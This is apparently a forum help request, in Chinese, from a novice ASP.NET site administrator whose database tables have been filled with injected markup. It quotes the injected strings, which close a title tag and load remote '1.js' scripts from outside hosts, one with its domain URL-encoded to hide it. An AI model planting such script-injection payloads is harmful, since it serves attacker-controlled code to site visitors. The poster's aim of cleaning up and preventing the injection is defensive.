数据库中几乎所有的表中都被插入了恶意代码"></title><script src=http://%66%75%63%6B%75%75%2E%75%73/1.js></scr
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还有"></title><script src=http://1.cool0.biz/1.js></script> ");
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这个问题怎么解决，如何的删除数据库中的这些文件，如何的禁止他们在次的加入到数据库中。
我是初学这部太清楚怎么做，我现在关管理的网站是别人做的，我多asp.net的了解还不是太深。